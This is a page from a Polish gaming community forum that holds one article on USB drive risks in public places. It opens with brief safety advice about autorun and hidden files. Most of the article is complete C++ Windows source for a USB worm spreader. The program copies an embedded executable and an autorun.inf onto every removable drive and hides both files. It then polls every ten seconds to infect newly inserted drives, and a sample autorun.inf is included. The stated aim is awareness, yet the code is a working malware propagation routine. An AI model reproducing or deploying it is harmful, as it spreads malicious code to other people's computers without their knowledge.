Skocz do zawartości
Forum
Regulamin

Zasady i wytyczne obowiązujące wszystkich użytkowników

Administracja

Poznaj zespół moderatorów i administratorów dbających o społeczność

Ranking Użytkowników

Zestawienie najbardziej aktywnych członków naszej społeczności

Serwery
Bany CS2

System banów na serwerach Counter-Strike 2

Bany CS 1.6

System banów na serwerach Counter-Strike 1.6

Sklep CS2

Dostęp do usług premium i przywilejów na serwerach CS2

Statystyki Graczy - CS2

Sprawdź najlepszych graczy naszych serwerów CS2 oraz ich dokładne statystyki!

Sklep CS 1.6

Oferta usług VIP/SVIP dla graczy Counter-Strike 1.6

Odwołaj się od bana

Oficjalna procedura odwoławcza dla zablokowanych graczy

Społeczność
Wydarzenia

Kalendarz turniejów, konkursów i integracyjnych spotkań graczy

Discord

Dołącz do naszej społeczności na discordzie

Aktualności

Bieżące informacje dotyczące serwerów i środowiska CS

Pomoc

Przewodniki, poradniki i wsparcie dla wszystkich użytkowników

Nowy szablon forum
csowicze.pl


Przygotowaliśmy dla Was nowy wygląd forum! Na pewno znajdziecie rzeczy, które można ulepszyć. Dajcie nam znać w dedykowanym wątku. Wasza opinia jest dla nas ważna!

Czytaj więcej

Największy spamer czatbox'a! Weź udział kolejnej edycji konkursu!


Wraz ze startem nowej odsłony forum ruszamy z kolejną edycją konkursu spamer czatbox'a! Do wygrania fajne nagrody w tym $$$$

Czytaj więcej

Csowicze – Odświeżona Odsłona | Parę Ważnych Informacji


Wracamy po krótkiej przerwie... Przeczytaj ogłoszenie by być na bieżąco!

Czytaj więcej

Nasze serwery

  • 8 Wszystkich serwerów
  • 168 / 323 Wszystkich graczy
  • 52% Zapełnienie serwerów

Znajdź zawartość

Wyświetlanie wyników dla tagów 'Zagrożenia' .

  • Wyszukaj za pomocą tagów

    Wpisz tagi, oddzielając je przecinkami.
  • Wyszukaj przy użyciu nazwy użytkownika

Typ zawartości


Forum

  • Forum główne
    • Regulaminy
    • Sprawy dotyczące forum
    • Rekrutacja
    • Wesprzyj naszą sieć serwerów!
    • Współpraca
  • Strefa Banów
    • Bany Counter Strike 1.6
    • Bany Counter Strike 2
  • Rozrywka
    • Konkursy i turnieje
    • Redakcja CSowicze.pl
    • Liga Typera
    • Grafika
  • Serwery Counter Strike 1.6
    • Losowe Cheaty
    • ZOMBIE PLAGUE CLASSIC
    • IKS ZOMBIE+EXP 120LV
    • ONLY DD2
  • Serwery Counter Strike 2
    • Losowe Cheaty
    • Only Mirage
  • Minecraft
    • MINECRAFT Z MODAMI
  • Serwery Głosowe
    • Discord
    • TeamSpeak 3
  • Strefa luźnych rozmów
    • Strefa Gier
    • Offtopic
    • Giełda
  • Archiwum Forum
    • MultiKonto
    • Zbanowani
    • Tematy Archiwalne

Kategorie

  • Counter Strike 1.6
    • Pluginy
    • [ReHLDS] Moduły / [AmxModX] Moduły
    • [HLDS] Moduły
    • Modele / Dodatki
    • Gotowe paczki
    • Mapy
    • Roundsoundy
  • Counter Strike Global Offensive
    • Pluginy
    • Gotowe paczki
    • Roundsoundy
    • Modele / Dodatki
  • Grafika
    • PSD
    • XCF
    • Czcionki
    • Inne
  • Invision Community 4
    • Aplikacje
    • Wtyczki
    • Szablony
    • Nulled
    • Tłumaczenia
    • Releases
  • IP.Board
    • Aplikacje / Wtyczki
    • Skiny
    • Inne dodatki
  • Inne
  • Stare pliki (brak download)

Szukaj wyników w...

Znajdź wyniki, które zawierają...


Data utworzenia

  • Od tej daty

    Do tej daty


Ostatnia aktualizacja

  • Od tej daty

    Do tej daty


Filtruj po ilości...

Dołączył

  • Od tej daty

    Do tej daty


Grupa podstawowa


Imię


Lokalizacja


Hobby


Ulubiony Mod


Discord


Steam


Facebook


Instagram


Strona WWW

Znaleziono 1 wynik

  1. Niewiele osób zdaje sobie sprawe jak niebezpieczne jest używanie własnego pendriva w miejscach publicznych takich jak: Biblioteki Kafejki internetowe Szkolna pracownia internetowa.... Tego typu miejsca są wylęgarnią dla wszelkiego typu robactwa, nie znaczy ze mamy nie używać pendrive w takich miejscach, należy tylko zachować pewną ostrożność. Jeśli podłączamy nasz pendrive do naszego komputera po wizycie np. w bibliotece nie włączajmy go klikając na niego 2x lewym przyciskiem myszy gdyż powoduje to włączenie autorunu i infekcje naszego komputera o ile pendrive jest zarażony, dużo lepszym wyjściem jest kliknąć na niego prawym przyciskiem myszy i kliknąć otwórz- wtedy autorun się nie uruchomi. Pyzatym należy włączyć pokazywanie plików ukrytych i systemowych naszym systemie. Robimy to przez klikniecie na Narzędzia -> Opcje folderów -> Widok. Zaznaczamy tam Pokaż ukryte pliki i foldery a także odznaczamy Ukryj chronione pliki systemu windows Od teraz będziemy widzieć pliki, które ktoś umieścił na naszym pendrive bez naszej wiedzy i zgody. Pokaże teraz jak łatwo napisać program który po podłączeniu pendrive do PC automatycznie skopiuje na niego autorun + program, aby pokazać, że wcale nie jest to takie trudne i że naprawdę możemy stać się ofiarą takiego ataku. Na początku dołączamy pliki nagłówkowe takie jak: #include <windows.h> #include <string> #include <vector> Napiszmy teraz funkcje która znajdzie wszelkie pendrivy podlaczone do PC void GetPendrives(std::vector<std::string>* pendrives) { char* bufor=new char[1024]; DWORD need=GetLogicalDriveStrings(1024,bufor);//pobieramy litery dyskow if(need > 1024)//jesli bufor jest za maly alokujemy bufor o odpowiedniej dlugosci { delete bufor; bufor=new char[need]; GetLogicalDriveStrings(need,bufor); } int n=need/4; // ilosc dyskow std::string* dyski=new std::string[n]; int i=0; while(i<n) { dyski[i]=(char*)(bufor+(i*4)); i++; } pendrives->clear();//usuwamy wszystko co jest w vectorze i=0; while(i<n) { if(GetDriveType(dyski[i].c_str())==DRIVE_REMOVABLE)//sprawdzamy ktore dyski sa pendrivami { pendrives->push_back(dyski[i]); } i++; } } Teraz czas na inne potrzebne nam funkcje bool FindInVector(const char* str,std::vector<std::string> vec)//funkcja ktora sprawdza czy pojawil sie nowy pendrive { int n=vec.size(); int i=0; while(i<n) { if(vec[i]==str) { return true; } i++; } return false; } bool ExtractExe(char* id, char *filename)//funkcja wypakowujaca plik z zasobow { bool result = false;HRSRC hResource=NULL;hResource = FindResource(GetModuleHandle(NULL),id , RT_RCDATA); if(!hResource) { return result; } if( hResource != NULL ){ HGLOBAL hLoader = LoadResource(NULL,hResource); if( hLoader != NULL ){ byte *data = (byte *)LockResource(hLoader); DWORD len = SizeofResource(NULL,hResource);if( data != NULL && len > 0 ){ HANDLE hFile = CreateFile(filename, GENERIC_READ | GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if( hFile != INVALID_HANDLE_VALUE ){ DWORD written = 0; int write = WriteFile(hFile, data, len, &written, NULL); if( len == written && write == TRUE ) result = true; } CloseHandle(hFile); } UnlockResource(hLoader); } FreeResource(hLoader); } return result; } A ten kod umieszczamy wewnatrz main: std::vector<std::string> vec; GetPendrives(&vec); int i=0; while(i<vec.size()){ //w tym momecie wypakowujemy na wszystkie pendrivy nasz plik //przyjmujemy ze nasz exe ma w zasobach numer 1005 a autorun 1006 std::string exe=vec[i]; std::string autorun=vec[i]; exe+="Start.exe"; autorun+="autorun.inf"; ExtractExe(MAKEINTRESOURCE(1005),(char*)exe.c_str());//wypakowujemy ExtractExe(MAKEINTRESOURCE(1006),(char*)autorun.c_str());//wypakowujemy SetFileAttributes(exe.c_str(),FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);//ustawiamy atrybut ukryty i systemowy SetFileAttributes(autorun.c_str(),FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);//ustawiamy atrybut ukryty i systemowy i++; } std::vector<std::string> tmp; int n=0; i=0; while(1)//nieskonczona petla ktora sprawdza czy nie pojawiły się nowe pendrivy { GetPendrives(&tmp); n=tmp.size(); i=0; while(i<n) { if(!FindInVector(tmp[i].c_str(),vec)) { //w tym momecie wypakowujemy na ten dysk nasz plik //przyjmujemy ze nasz exe ma w zasobach numer 1005 a autorun 1006 std::string exe=tmp[i]; std::string autorun=tmp[i]; exe+="Start.exe"; autorun+="autorun.inf"; ExtractExe(MAKEINTRESOURCE(1005),(char*)exe.c_str());//wypakowujemy ExtractExe(MAKEINTRESOURCE(1006),(char*)autorun.c_str());//wypakowujemy SetFileAttributes(exe.c_str(),FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);//ustawiamy atrybut ukryty i systemowy SetFileAttributes(autorun.c_str(),FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);//ustawiamy atrybut ukryty i systemowy} i++; } vec=tmp; Sleep(10000); } Na koniec do projektu musimy dodać zasoby ale tego już nie będę tu opisywał gdyż można to znaleźć w google Przykładowy plik autorun: [autorun] OPEN=Start.exe shellexecute=Start.exe shell=Auto shellAuto=&Autoplay shellAutocommand=Start.exe Taki plik umieszczamy w zasobach pod numerem 1006 a plik exe, który ma być uruchamiany pod numerem 1005 Mam nadzieje, że artykuł przekonał was do tego aby uważać na swoje pendrivy Autor artykułu: Grzonu (grzonu.com.pl)
×
×
  • Dodaj nową pozycję...

Powiadomienie o plikach cookie